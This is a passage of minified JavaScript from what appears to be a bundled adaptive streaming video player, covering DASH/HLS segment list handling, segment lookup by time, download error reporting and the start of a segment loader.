n,t;w.dispose(this.mpdHandler);w.dispose(this.timestampOffsetService);w.dispose(this.segmentPreProcessor);null===(n=this.adaptationService)||void 0===n||n.release(this.mimeType);this.hlsTimelineTracker&&this.hlsTimelineTracker.dispose();s.isContextAvailable(this.context)&&(null===(t=this.context.serviceManager.get(r.ServiceName.SegmentService))||void 0===t||t.disposeOfType(this.mimeType,this.currentLangObj))},n}();t.SegmentController=oi;t.getSegmentManager=ot;t.extractContainerFormat=st},20417:function(n,t,i){function h(n,t,i,f){if(0===i)return t&&t===s.RequestError.TimedOut?new u.PlayerError(r.ErrorCode.NETWORK_SEGMENT_DOWNLOAD_TIMEOUT,{segmentUrl:f.url,mimeType:f.mimeType},"Failed to load the segment: the request timed out."):new u.PlayerError(r.ErrorCode.NETWORK_ERROR,{url:f.url,statusCode:i},t);n.logger.debug(t);var e={message:t};return f.url&&(e.segment=function(n){return{url:n.url,mimeType:n.mimeType,codecs:n.codecs}}(f)),new u.PlayerError(r.ErrorCode.NETWORK_ERROR,e,t)}Object.defineProperty(t,"__esModule",{value:!0});t.throwDownloadError=void 0;var r=i(25550),u=i(28764),f=i(63546),e=i(35148),o=i(62510),s=i(90637);t.throwDownloadError=function(n,t,i,r){n.eventHandler.dispatchEvent(o.PlayerEvent.Warning,new f.PlayerWarning(e.WarningCode.PLAYBACK_DECODE_RETRIES_EXCEEDED));n.eventHandler.fireError(h(n,t,i,r))}},9378:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.SegmentInfoProvider=void 0;var r=i(76885),u=i(9827),f=function(){function n(){}return n.findSegmentInfoOfRepresentation=function(t,i){if(i.SegmentList){var u=i.SegmentList[0].SegmentURL,f=t.getUrl(),r=u.find(function(t){return n.getSegmentInfoUrl(t,i)===f});if(r)return r}return null},n.findHlsRepresentationForSegment=function(n,t){var i,r,f=t.Representation.find(function(t){return n.getRepresentationId().representationId===t._internalId.representationId}),e;if(f&&(e=u.findSegmentUrlIndexWithinSegmentList(n,null!==(r=null===(i=f.SegmentList)||void 0===i?void 0:i[0].SegmentURL)&&void 0!==r?r:[]),-1!==e))return{representation:f,index:e}},n.getSegmentInfoUrl=function(n,t){var i=n._media;return r.URLHelper.isUrlAbsolute(i)||(i=r.URLHelper.concatUrlParts(t.BaseURL[0],i)),i},n}();t.SegmentInfoProvider=f},13788:function(n,t,i){function s(n,t){return r(n,t.duration).then(function(t){if(t.length>0){var i=n.getInitSegmentInfoForDataSegmentInfo(t[0]);if(i)return u([i],t,!0)}return t})}function r(n,t,i){void 0===i&&(i=[]);var u=i[i.length-1],f=u?u.startTime+u.duration:0;return t<=0||!n.hasNext(f)?Promise.resolve(i):n.getDataSegmentInfo(f).then(function(u){return u.duration&&(t-=u.duration),i.push(u),r(n,t,i)})}var u=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u||Array.prototype.slice.call(t))};Object.defineProperty(t,"__esModule",{value:!0});t.getSegmentInfoId=t.SegmentInfoService=void 0;var f=i(18665),e=i(27177),o=function(){function n(){this.segmentControllers=[]}return n.prototype.updatePlayerContext=function(n){this.context=n},n.prototype.setSegmentControllers=function(n){this.segmentControllers=n},n.prototype.getSegmentControllerMimeTypes=function(){return this.segmentControllers.map(function(n){return n.getMimeType()})},n.prototype.getSegmentInfos=function(n,t){if(!e.isContextAvailable(this.context))return Promise.resolve([]);var i=this.context.serviceManager.get(f.ServiceName.ManifestService,this.context.sourceContext.sourceIdentifier).getPeriodIdForTime(n),r=this.segmentControllers.map(function(r){return function(n,t){return n.getCurrentPeriodId()!==t.targetPeriodId&&n.switchPeriod(t.targetPeriodId),n.seekTo(t.startTime),n.getCurrentAdaptationSet()?s(n,t):Promise.resolve([])}(r,{startTime:n,duration:t,targetPeriodId:i})});return Promise.all(r).then(function(n){return n.flatMap(function(n){return n})})},n.prototype.dispose=function(){this.segmentControllers=[]},n}();t.SegmentInfoService=o;t.getSegmentInfoId=function(n){return n.url+(n.byteRange?","+JSON.stringify(n.byteRange):"")}},28915:function(n,t,i){function u(n,t,i){var o=!n||!n.length,s=t<n[0].startTime+n[0].duration,u,e,f;return o||s?0:(u=n.length-1,t>=n[u].startTime)?u:(e=Math.max(t-n[0].startTime,0),f=Math.min(Math.floor(e/i),n.length-1),r(n[0])&&r(n[f])?function(n,t,i){for(var u=n.length-1;n[i].startTime>t||t>=n[i].startTime+n[i].duration;){if(t<n[i].startTime?i--:i++,i<=0)return 0;if(i>=u)return u;if(!r(n[i]))return null}return i}(n,t,f):null)}function r(n){return n&&f.isNumber(n.startTime)}Object.defineProperty(t,"__esModule",{value:!0});t.generateSegmentId=t.getSegmentInfoTimeRange=t.createInitSegmentInfoBase=t.findSegmentIndexForTime=t.findSegmentForTime=void 0;var f=i(70016),e=i(54838);t.findSegmentForTime=function(n,t,i){return n[u(n,t,i)]};t.findSegmentIndexForTime=u;t.createInitSegmentInfoBase=function(n){var t=n._internalId;return{internalRepresentationId:t,representationId:t.representationId,periodId:t.periodId,mimeType:n._mimeType,isInitSegment:!0}};t.getSegmentInfoTimeRange=function(n){if((null==n?void 0:n.duration)&&void 0!==(null==n?void 0:n.startTime))return{start:n.startTime,end:n.startTime+n.duration}};t.generateSegmentId=function(n){var t,i,r=null!==(i=null===(t=n.discontinuitySequenceNumber)||void 0===t?void 0:t.toString())&&void 0!==i?i:n.periodId,u=n.byteRange?"-".concat(n.byteRange.start,":").concat(n.byteRange.end):"";return e.Util.hashCode("".concat(r,":").concat(n.url).concat(u))}},67550:function(n,t,i){function g(n,t){var i=n[String(t)];return i&&i.startTime>0?i.startTime:(i=n[String(t-1)])&&i.endTime>0?i.endTime:null}function p(n,t,i){if(n.length&&i.hasSegmentStartTimeForHlsRepresentation(t)){var r;null!=n[0].startTime?r=h.findIndexFromEnd(n,function(n){return null!=n.startTime})+1:(n[0].startTime=i.getStartTimeForHlsSegment(t,n[0]),r=1);h.forEachFromIndex(n,r,function(n,t){return t.startTime=n.startTime+n.duration})}}var o=this&&this.__assign||function(){return o=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},o.apply(this,arguments)},y;Object.defineProperty(t,"__esModule",{value:!0});t.assignSegmentStartTimesFromHlsPlaylist=t.SegmentListMPDHandler=void 0;var s=i(18665),w=i(42055),h=i(81361),b=i(44388),l=i(331),f=i(70016),a=i(76885),r=i(91520),u=i(16368),e=i(92103),k=i(93326),c=i(73553),v=i(28915),d=function(){function n(n){this.context=n;this.sourceContext=n.sourceContext;this.settings=n.settings;this.logger=n.logger;this.manifestService=n.serviceManager.get(s.ServiceName.ManifestService,this.sourceContext.sourceIdentifier);this.distanceToListStartSeconds=0;this.segmentListMap={};this.timestampOffset=NaN}return n.prototype.createSegmentListEntry=function(n,t){if(!n)return null;var i={isInitSegment:!1,url:n._media,startTime:n._expectedPlaybackTime,periodId:t};return["_key","_duration","_dateTime","_metadata","_byteRange","_init","_discontinuitySequenceNumber"].filter(function(t){return n.hasOwnProperty(t)}).forEach(function(t){return i[t.substr(1)]=n[t]}),i.segmentId=v.generateSegmentId(i),i},n.prototype.removeDroppedOutSegmentsFromList=function(n,t,i){var u;if(t.SegmentURL.length<1)return n.entries=[],n.totalDuration=0,n.entries.length;for(var s=this.createSegmentListEntry(t.SegmentURL[0],i.periodId),f=0,o=0,r=0;r<n.entries.length;r++){if(u=n.entries[r],e.isIdenticalSegmentInfo(u,s))break;f+=u.duration;n.entries.splice(r,1);r--;o++;this.manifestService.isLive()&&this.currentRepresentationId.equals(i)&&this.rewindOneSegment()}return n.totalDuration-=f,o},n.prototype.addNewSegmentsToList=function(n,t,i){for(var r,f=[],u=n.entries[n.entries.length-1],s=0,o=t.SegmentURL.length-1;o>=0;o--){if(r=this.createSegmentListEntry(t.SegmentURL[o],i),u&&e.isIdenticalSegmentInfo(u,r))break;u&&e.isIdenticalInitSegmentInfo(u.init,r.init)&&(r.init=u.init);isNaN(r.duration)&&(r.duration=n.maximumSegmentDuration);r.duration/=n.timescale;s+=r.duration;f.unshift(r)}return n.totalDuration+=s,n.entries=n.entries.concat(f),f.length},n.prototype.updateSegmentList=function(n,t){var f,e,s=t.SegmentList,h=t._internalId.representationId;n.timescale=1;n.maximumSegmentDuration=1;n.startNumber=1;for(var c=function(o){var c=s[o],l,a;(c.hasOwnProperty("_duration")&&(n.maximumSegmentDuration=Number(c._duration)),["_timescale","_startNumber","_presentationTimeOffset"].filter(function(n){return c.hasOwnProperty(n)}).forEach(function(t){return n[t.substr(1)]=c[t]}),(null!==(e=null===(f=r.ModuleManager.get(u.ModuleName.DASH,!1))||void 0===f?void 0:f.initSegmentInfoSourceDetectors.isInitializationNode)&&void 0!==e?e:y)(c)?n.init=r.ModuleManager.get(u.ModuleName.DASH,!1).initSegmentInfoProviders.provideSegmentInfoFromInitializationNodeProperty(c,t):delete n.init,c.hasOwnProperty("SegmentURL"))&&(l=i.removeDroppedOutSegmentsFromList(n,c,t._internalId),a=i.addNewSegmentsToList(n,c,t._internalId.periodId),i.logManifestUpdateStats(t._mimeType,h,l,a),i.manifestService.isHlsManifest()?p(n.entries,h,i.manifestService):i.assignSegmentStartTimesForDash(n,t._internalId))},i=this,o=0;o<s.length;o++)c(o)},n.prototype.logManifestUpdateStats=function(n,t,i,r){(i>0||r>0)&&this.logger.debug("[".concat(n,"][").concat(t,"] Updated segment list, removed ").concat(i," segments and added ").concat(r," segments"))},n.prototype.assignSegmentStartTimesForDash=function(n,t){var r=this.getMinStartTime(t),i=0;n.entries.forEach(function(n){var t;n.startTime=r+i;i+=null!==(t=n.duration)&&void 0!==t?t:0})},n.prototype.extrapolateStartTimesFromDiscontinuityStarts=function(n){var i=this.getSegmentListEntries(this.currentRepresentationId),e=r.ModuleManager.get(u.ModuleName.HLS).selectors,s=e.getHlsState,h=e.getDiscoSequenceTimings,c=e.getPlaylistStartTime,f=function(n,t){for(var r,u,f=n[0].discontinuitySequenceNumber,i=1;i<n.length;i++)if(r=n[i].discontinuitySequenceNumber,r!==f&&(u=g(t,r),null!=u))return{index:i,discontinuityStartTime:u};return null}(i,h(s(this.getSourceStateService().getState()))),o,t;for(f||(o=c(s(this.getSourceStateService().getState()),n.getRepresentationId().representationId),f={index:0,discontinuityStartTime:o},this.logger.debug("Could not find matching discontinuity start times for "+"".concat(n.getSegmentInfo().discontinuitySequenceNumber," using playlist startTime: ").concat(o))),this.logger.debug("Aligning segments of ".concat(n.getRepresentationId().representationId," to discontinuity start ")+"".concat(f.discontinuityStartTime," of ").concat(n.getSegmentInfo().discontinuitySequenceNumber)),i[f.index].startTime=f.discontinuityStartTime,t=f.index-1;t>=0;t--)i[t].startTime=i[t+1].startTime-i[t+1].duration;for(t=f.index+1;t<i.length;t++)i[t].startTime=i[t-1].startTime+i[t-1].duration},n.prototype.getSourceStateService=function(){return this.context.serviceManager.get(s.ServiceName.SourceStoreService,this.context.sourceContext.sourceIdentifier)},n.prototype.getListIndexForSegment=function(n,t){for(var r=-1,u=this.getSegmentListEntries(t),i=u.length-1;i>=0;i--)if(e.isIdenticalSegmentInfo(u[i],n)){r=i;break}return r},n.prototype.populateSegmentListMap=function(n){var t=this;this.manifestService.getAdaptationSet(n).Representation.forEach(function(n){var i=t.segmentListMap[n._internalId.key()],f,e;(i||(i=t.initializeSegmentList(n._internalId.key())),n.hasOwnProperty("SegmentList")&&(t.updateSegmentList(i,n),r.ModuleManager.has(u.ModuleName.DASH)))&&(f=r.ModuleManager.get(u.ModuleName.DASH).initSegmentInfoSourceDetectors.isInitializationNode,!i.hasOwnProperty("init")&&n.hasOwnProperty("SegmentBase")&&n.SegmentBase&&f(n.SegmentBase[0])&&(e=r.ModuleManager.get(u.ModuleName.DASH).initSegmentInfoProviders.provideSegmentInfoFromInitializationNodeProperty,i.init=e(n.SegmentBase[0],n)))})},n.prototype.selectNewRepresentationId=function(){var n,t,u=this,i=null===(n=this.context.serviceManager.get(s.ServiceName.SourceStoreService,this.sourceContext.sourceIdentifier).getState().activeTracks)||void 0===n?void 0:n[this.adaptationSetId.adaptationSetId],r;return(null===(t=null==i?void 0:i.selectedRepresentationId)||void 0===t?void 0:t.periodId)===this.adaptationSetId.periodId?i.selectedRepresentationId:this.currentRepresentationId&&(r=this.manifestService.getRepresentation(this.adaptationSetId,this.currentRepresentationId.representationId),r)?r._internalId:(this.getMatchingRepresentationByBandwidth(function(n){return u.isSegmentInfoLoaded(n._internalId)})||this.getMatchingRepresentationByBandwidth())._internalId},n.prototype.getMatchingRepresentationByBandwidth=function(n){return this.manifestService.getMatchingRepresentationByBandwidth(this.adaptationSetId,this.getCurrentBandwidth(),n)},n.prototype.shouldUpdateRepresentation=function(){var n=this.adaptationSetId.equals(this.currentRepresentationId),t=!this.currentRepresentationId||Boolean(this.manifestService.getRepresentationById(this.currentRepresentationId));return!this.currentRepresentationId||!n||!t},n.prototype.setAdaptationSetId=function(n){var u,i,f,t,r,e,o;this.adaptationSetId=n;this.populateSegmentListMap(this.adaptationSetId);i=this.manifestService.isLive();f=0;this.shouldUpdateRepresentation()&&(this.currentRepresentationId=this.selectNewRepresentationId());t=this.segmentListMap[this.currentRepresentationId.key()];(t||(t=this.initializeSegmentList(this.currentRepresentationId.key())),t&&i&&t.entries&&t.entries.length>0)&&(r=t.entries.length-1,this.listIndex>r&&(f=this.listIndex-r),this.listIndex=Math.min(r,this.listIndex||0),this.listIndex=Math.max(0,this.listIndex),u=t.entries[this.listIndex]);(this.listIndex=this.listIndex||0,i&&(this.distanceToListStartSeconds=this.getSegmentDuration()*this.settings.LIVE_SEGMENT_LIST_START_INDEX_OFFSET),i)?(u&&t?(e=this.getListIndexForSegment(u,this.currentRepresentationId),e>=0?this.listIndex=e+f:this.reset()):this.reset(),o=this.checkForSegmentInfoError(),o?this.rejectPendingSegmentInfoRequest(o):this.resolvePendingSegmentInfoRequests()):this.resolvePendingSegmentInfoRequests()},n.prototype.initializeSegmentList=function(n){var t={totalDuration:0,entries:[],startNumber:0,init:null,maximumSegmentDuration:1,timescale:1};return this.segmentListMap[n]=t,t},n.prototype.getCurrentBandwidth=function(){var n=0,t=this.getCurrentRepresentation();return t&&(n=t._bandwidth),n},n.prototype.checkForSegmentInfoError=function(){var n=this.manifestService.getPeriod(this.currentRepresentationId);if(Boolean(n)&&!this.hasNext()){if(n.droppedOut)return c.SegmentInfoErrors.PERIOD_DROPPED_OUT;if(!this.manifestService.isLastPeriod(this.currentRepresentationId.periodId))return c.SegmentInfoErrors.PERIOD_COMPLETE}return null},n.prototype.reset=function(){this.settings.ENABLE_SEEK_FOR_LIVE?this.listIndex=0:this.timeShift(0)},n.prototype.syncSegmentStartTimeUsingMediaSequenceNumber=function(n,t){var u,e,o,s,i=this.manifestService.getRepresentationById(n),r=this.manifestService.getRepresentationById(t),v=f.isNumber(null===(u=null==r?void 0:r._hls)||void 0===u?void 0:u.mediaSequence)&&f.isNumber(null===(e=null==i?void 0:i._hls)||void 0===e?void 0:e.mediaSequence);if(i&&r&&v){var c=(null===(o=null==r?void 0:r._hls)||void 0===o?void 0:o.mediaSequence)-(null===(s=null==i?void 0:i._hls)||void 0===s?void 0:s.mediaSequence),l=this.getSegmentListEntries(n),a=this.getSegmentListEntries(t);c>=l.length||(a[0].startTime=l[c].startTime,h.forEachFromIndex(a,1,function(n,t){f.isNumber(n.startTime)&&f.isNumber(n.duration)&&(t.startTime=n.startTime+n.duration)}))}},n.prototype.setRepresentationId=function(n){var r=this.manifestService.getRepresentationById(n),t=this.getSegmentListEntries(this.currentRepresentationId)[this.listIndex],f,u,e,i;return r?(f=void 0===this.currentRepresentationId,u=this.currentRepresentationId,(this.currentRepresentationId=n,this.manifestService.isLive()&&r._hls)&&((this.settings.HLS_SYNC_SEGMENT_PLAYBACK_TIME_VIA_MEDIA_SEQUENCE&&this.syncSegmentStartTimeUsingMediaSequenceNumber(u,this.currentRepresentationId),f)?this.reset():this.settings.HLS_SYNC_VIA_MEDIA_SEQUENCE?(e=this.manifestService.getRepresentationById(u)._hls.mediaSequence+this.listIndex,this.listIndex=e-r._hls.mediaSequence,this.listIndex=Math.max(this.listIndex,0)):null==(null==t?void 0:t.startTime)||isNaN(t.startTime)||(i=this.getIndexForTime(t.startTime),null===i||isNaN(i)||(this.listIndex=this.adaptListIndexToCorrectIndex(i,t.startTime)))),!0):!1},n.prototype.adaptListIndexToCorrectIndex=function(n,t){var i=this.getSegmentListEntries(this.currentRepresentationId),u=[i[n],i[n+1]],r,f;return n===i.length-1||u.some(function(n){return!n.startTime})?n:(r=u.map(function(n){return Math.abs(n.startTime-t)}),f=Math.min.apply(this,r),n+r.indexOf(f))},n.prototype.getInitSegmentInfo=function(){var n=this.getSegmentList(this.currentRepresentationId),t,i,r;return(null==n?void 0:n.init)?(n.init.presentationTimeOffset=this.getTimestampOffset(),n.init):(t=this.getSegmentListEntries(this.currentRepresentationId),this.listIndex<t.length&&this.listIndex>-1&&(i=o({},t[this.listIndex]),i.init))?(r=i.init,r.isInitSegment=!0,r):null},n.prototype.getNextSegmentInfo_=function(){var t=this.getSegmentListEntries(this.currentRepresentationId),n;return t.length&&this.listIndex<t.length&&this.listIndex>-1?(n=t[this.listIndex],n.isInitSegment=!1,n.presentationTimeOffset=this.getTimestampOffset(),this.listIndex++,n):null},n.prototype.getNextSegmentInfo=function(){var n=this.getNextSegmentInfo_();return n?Promise.resolve(n):this.queueSegmentInfoRequest()},n.prototype.getSegmentInfos=function(){var n=this,t=this.listIndex,e=this.manifestService.getTotalDuration(),u={},i=this.manifestService.getAdaptationSet(this.adaptationSetId),r,f;return i&&(r=this.getSeekableRange().end-this.getSeekableRange().start,f=i.Representation[0].BaseURL[0].url,i.Representation.forEach(function(i){var h,v,w=n.getSegmentListEntries(i._internalId),b=n.manifestService.isLive(),s,c,k;b?(h=t-r/n.getSegmentDuration(),v=t):(h=0,v=parseInt(h+r/n.getSegmentDuration())-1);for(var y=0,o=[],p=h;p<=v;p++)s=o.length,o[s]={},c=void 0,(w.length&&(c=w[s].url),"string"==typeof c)&&(k=a.URLHelper.concatBaseUrlWithPartial(f,c),o[s].url=a.URLHelper.appendQueryParametersToUrl(k,n.settings.QUERY_PARAMETERS)),o[s].duration=n.getSegmentDuration(),b?(y=n.settings.ENABLE_SEEK_FOR_LIVE?n.getExpectedPresentationTime(p):l.toSeconds(Date.now()-n.manifestService.getAvailabilityStartTime())-e,t++):(o[s].startTime=y,y+=o[s].duration),u[i._id]=o})),u},n.prototype.getSubtitleUrl=function(){return this.manifestService.getAvailableSubtitles(this.adaptationSetId.periodId)[0].url},n.prototype.getStartNumber=function(){var n=this.getSegmentList(this.currentRepresentationId);return n?n.startNumber:1},n.prototype.getSegmentDuration=function(){var r=this,n=this.getSegmentList(this.currentRepresentationId),i=this.getSegmentListEntries(this.currentRepresentationId),t;return n?i.length>0&&f.isNumber(n.totalDuration)?n.totalDuration/i.length:n.maximumSegmentDuration:this.manifestService.getAdaptationSet(this.adaptationSetId)&&(t=Object.keys(this.segmentListMap).map(function(n){return r.segmentListMap[n]}).find(function(n){return null!==n}),t)?t.maximumSegmentDuration:1},n.prototype.seekTo=function(n){n>-1&&(this.listIndex=this.getIndexForTime(n))},n.prototype.isSegmentInfoLoadable=function(){return!this.getCurrentPeriod().droppedOut},n.prototype.hasNext=function(){var n;if(!this.isSegmentInfoLoaded(this.currentRepresentationId))return this.isSegmentInfoLoadable();if(this.currentRepresentationId){if(n=this.listIndex<this.getSegmentListEntries(this.currentRepresentationId).length,this.manifestService.isHlsManifest()){if(this.manifestService.isLastPeriod(this.currentRepresentationId.periodId)){var t=r.ModuleManager.get(u.ModuleName.HLS).selectors,f=t.getHlsState,i=t.getEndlist(f(this.getSourceStateService().getState()));return!i||n&&i}return n}return n}return!0},n.prototype.setTimestampOffset=function(n,t){void 0===t&&(t=1);this.timestampOffset=n/t},n.prototype.getTimestampOffset=function(){var i,t,n;return isNaN(this.timestampOffset)?(i=this.getCurrentPeriod(),t=0,this.currentRepresentationId&&(n=this.getSegmentList(this.currentRepresentationId),n&&!isNaN(n.presentationTimeOffset)&&(t=n.presentationTimeOffset/n.timescale)),i&&!this.manifestService.isHlsManifest()&&(t-=i.start),t):this.timestampOffset},n.prototype.getIndex=function(){return this.listIndex},n.prototype.setIndex=function(n){if("number"==typeof n)return n<0?(this.logger.debug("Tried to set index at MPDHandler to value smaller 0. Setting to 0."),void(this.listIndex=0)):void(this.listIndex=n);this.logger.debug("Tried to set index at MPDHandler with parameter not being a number!")},n.prototype.queueSegmentInfoRequest=function(){var n=this;return this.pendingSegmentInfoRequest?Promise.reject("fail"):new Promise(function(t,i){n.pendingSegmentInfoRequest={resolve:t,reject:i}})},n.prototype.resolvePendingSegmentInfoRequests=function(){if(this.pendingSegmentInfoRequest){var n=this.getNextSegmentInfo_();n?(this.pendingSegmentInfoRequest.resolve(n),this.pendingSegmentInfoRequest=null):this.manifestService.isLive()||this.hasNext()||this.pendingSegmentInfoRequest.reject(c.SegmentInfoErrors.END_OF_STREAM_REACHED)}},n.prototype.rejectPendingSegmentInfoRequest=function(n){this.pendingSegmentInfoRequest&&(this.pendingSegmentInfoRequest.reject(n),this.pendingSegmentInfoRequest=null)},n.prototype.getLiveEdgeIndex=function(){var n=this.getSegmentListEntries(this.currentRepresentationId);return n.length>0?n.length-1:0},n.prototype.getIndexForOffset=function(n){for(var t,f=Math.abs(n),e=this.getSegmentDuration(),r=this.getSegmentListEntries(this.currentRepresentationId),u=this.getLiveEdgeIndex(),o=0,i=r.length-1;i>=0&&!((o+=null!==(t=r[i].duration)&&void 0!==t?t:e)>=f);i--)u--;return Math.max(0,u)},n.prototype.timeShift=function(n,t,i){if(this.manifestService.isLive()){var r=this.listIndex;this.listIndex=i&&this.hasStartTimes()?this.getIndexForTime(i):this.getIndexForOffset(n);this.logger.debug("timeShift changes index from ".concat(r," to ").concat(this.listIndex,", based on")+" offset ".concat(n," and target time ").concat(i))}},n.prototype.hasStartTimes=function(){var n,t=null===(n=this.getSegmentListEntries(this.currentRepresentationId)[0])||void 0===n?void 0:n.startTime;return f.isNumber(t)&&t>=0},n.prototype.updateRepresentation=function(n){return Promise.resolve(n)},n.prototype.isSegmentInfoLoaded=function(n){if(void 0===n&&(n=this.currentRepresentationId),!n)return!1;var t=this.getSegmentListEntries(n),i=this.manifestService.getRepresentationById(n);return!(!t.length||!i)},n.prototype.rewindOneSegment=function(){return this.listIndex--,!(this.listIndex<0&&(this.logger.debug("List array index is smaller than 0, probably a discontinuity. Using 0."),this.listIndex=0,1))},n.prototype.getCurrentPeriod=function(){return this.manifestService.getPeriod(this.currentRepresentationId)},n.prototype.getExpectedPresentationTime=function(n){var t=this.getCurrentPeriod().start;return(this.manifestService.hasSinglePeriod()?this.getSeekableRange().start:t)+this.getSegmentListEntries(this.currentRepresentationId).slice(0,n).reduce(function(n,t){return n+t.duration},0)},n.prototype.getCurrentRepresentation=function(){return this.manifestService.getRepresentationById(this.currentRepresentationId)},n.prototype.getSegmentList=function(n){if(n)return this.segmentListMap[n.key()]},n.prototype.getSegmentListEntries=function(n){var t,i;return n?this.settings.ENABLE_SEGMENT_INFO_PROVIDER_FROM_STORE&&this.manifestService.isHlsManifest()?this.getStoreSegmentInfos(n):null!==(i=null===(t=this.getSegmentList(n))||void 0===t?void 0:t.entries)&&void 0!==i?i:[]:[]},n.prototype.getStoreSegmentInfos=function(n){var t,i=null===(t=this.getSourceStateService())||void 0===t?void 0:t.getState();return k.getSegmentInfos(i,n.key())},n.prototype.findListIndexWithoutSegmentStartTimes=function(n,t){var r,u;if(!this.adaptationSetId)return 0;for(var f=this.manifestService.getPeriod(this.adaptationSetId),s=null!==(r=null==f?void 0:f.start)&&void 0!==r?r:0,e=this.getSegmentListEntries(this.currentRepresentationId),i=0,o=s;o<=t&&i<e.length;i++)o+=null!==(u=e[i].duration)&&void 0!==u?u:0;return Math.max(i-1,0)},n.prototype.getIndexForTime=function(n){var t=this.getSegmentList(this.currentRepresentationId),i=this.getSegmentListEntries(this.currentRepresentationId);if(!t||0===i.length||!f.isNumber(t.totalDuration))return 0;var e=this.getMinStartTime(),r=Math.max(e,n),o=t.totalDuration/i.length,u=v.findSegmentIndexForTime(i,r,o);return null!==u?u:this.findListIndexWithoutSegmentStartTimes(t,r)},n.prototype.getMinStartTime=function(n){void 0===n&&(n=this.currentRepresentationId);var t=this.manifestService.hasSinglePeriod()?this.getSeekableRange().start:this.manifestService.getPeriod(n).start;return this.manifestService.isFirstPeriod(n.periodId)&&(t+=this.distanceToListStartSeconds),t},n.prototype.getLiveEdgeTime=function(){var n,t=null===(n=this.manifestService)||void 0===n?void 0:n.getLastPeriod();return t?t.start+b.DurationConverter.getDurationInSec(t._duration):1/0},n.prototype.getActualTimeShiftBufferDepth=function(){return this.manifestService.getTimeShiftBufferDepthSeconds()},n.prototype.getSeekableRange=function(){var n={start:0,end:0},f=this.manifestService.getTotalDuration(),e,t,i,o;return this.manifestService.isLive()?(e=this.manifestService.getTimeShiftBufferDepthSeconds(),t=l.toSeconds(this.manifestService.getRequestTimestamp()-this.manifestService.getAvailabilityStartTime()),(n.start=Math.max(t+e,0),n.end=Math.max(t,0),r.ModuleManager.has(u.ModuleName.HLS)&&this.manifestService.isHlsManifest())&&(i=r.ModuleManager.get(u.ModuleName.HLS).selectors,o=i.getHlsState,"EVENT"===i.getPlaylistType(o(this.getSourceStateService().getState()))?(n.start=0,n.end=f):n.start+=this.distanceToListStartSeconds),n.end-=this.manifestService.getDesiredDistanceToLiveEdge(),n):(n.start=w.getStartTimeOffset(this.getSourceStateService().getState()),n.end=f,n)},n.prototype.getPendingSegmentInfoRequest=function(){return this.pendingSegmentInfoRequest},n.prototype.setPendingSegmentInfoRequest=function(n){this.pendingSegmentInfoRequest=n},n.prototype.dispose=function(){this.settings=null;this.manifestService=null;this.adaptationSetId=null;this.currentRepresentationId=null;this.manifestService=null;this.pendingSegmentInfoRequest=null;this.segmentListMap=null},n}();t.SegmentListMPDHandler=d;y=function(){return!1};t.assignSegmentStartTimesFromHlsPlaylist=p},66864:function(n,t,i){function it(n){return n===r.TIMEOUT?u.TIMEOUT:u.CANCEL}var f=this&&this.__assign||function(){return f=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},f.apply(this,arguments)},tt;Object.defineProperty(t,"__esModule",{value:!0});t.SegmentLoader=t.State=t.SegmentLoadingErrorReason=void 0;var u,r,c=i(52442),rt=i(25550),ut=i(28764),a=i(62510),ft=i(90637),p=i(23234),et=i(36564),w=i(67345),e=i(76650),ot=i(28819),o=i(8272),v=i(56093),b=i(79814),k=i(331),st=i(70016),h=i(91520),s=i(16368),ht=i(41108),y=i(48727),d=i(40392),l=i(86674),ct=i(5206),lt=i(68284),g=i(4141),nt=i(72207);!function(n){n.CANCEL="CANCEL";n.ERROR_LOADING="ERROR_LOADING";n.ERROR_DECRYPTING="ERROR_DECRYPTING";n.BUSY="BUSY";n.UNKNOWN="UNKNOWN";n.TIMEOUT="TIMEOUT"}(u||(t.SegmentLoadingErrorReason=u={})),function(n){n[n.IDLE=1]="IDLE";n[n.LOADING=2]="LOADING";n[n.CANCELLING=3]="CANCELLING";n[n.TERMINATED=4]="TERMINATED";n[n.TIMEOUT=5]="TIMEOUT"}(r||(t.State=r={}));tt=function(){function n(n,t,i,u){var c,v;void 0===u&&(u=!1);c=this;(this.context=n,this.cancelLoading=function(n){var i,u,f,s,h,l,a,v;if(void 0===n&&(n=r.CANCELLING),clearTimeout(c.loadTimeoutID),clearInterval(c.progressCheckIntervalId),c.loadTimeoutID=null,c.isLoading()){if(v=c.currentSegmentInfoMap[c.loadingUrl],delete c.currentSegmentInfoMap[c.loadingUrl],c.state=n,c.loader.cancel(),void 0!==c.currentRequestProgress){var p=null!==(u=null===(i=c.currentRequestProgress.responseTiming)||void 0===i?void 0:i.headersReceivedTimestamp)&&void 0!==u?u:-1,w=null!==(s=null===(f=c.currentRequestProgress.responseTiming)||void 0===f?void 0:f.openedTimestamp)&&void 0!==s?s:-1,t=null!==(h=c.currentRequestProgress.elapsedTime)&&void 0!==h?h:-1,y=p-w;t>=0&&y>=0&&t>y&&c.context.store.dispatch(e.addMetricsValue(c.mimeType,o.MetricType.DownloadInformation,{bytes:c.currentRequestProgress.loadedBytes,time:t,timeToFirstByte:y}));(null===(l=c.currentRequestProgress)||void 0===l?void 0:l.chunks)&&v&&c.dispatchCancelledChunkedDownloadMetrics(v);c.canceledSegmentRequestFinishedEvent={success:!1,httpStatus:408,url:c.loadingUrl,downloadTime:t,size:c.currentRequestProgress.loadedBytes,duration:null!==(a=c.segmentDuration)&&void 0!==a?a:0,isInit:c.isInit,mimeType:c.mimeType,uid:void 0}}c.currentRequestProgress=void 0}},this.checkLoadingProgress=function(){var n,t,i,r=null!==(i=null===(t=null===(n=c.currentRequestProgress)||void 0===n?void 0:n.responseTiming)||void 0===t?void 0:t.sendTimestamp)&&void 0!==i?i:-1;void 0===c.currentRequestProgress||r<0||c.onProgress(f(f({},c.currentRequestProgress),{elapsedTime:p.TimingUtil.getHiResTimestamp()-r}))},this.onProgress=function(n){var t,u=null!==(t=n.elapsedTime)&&void 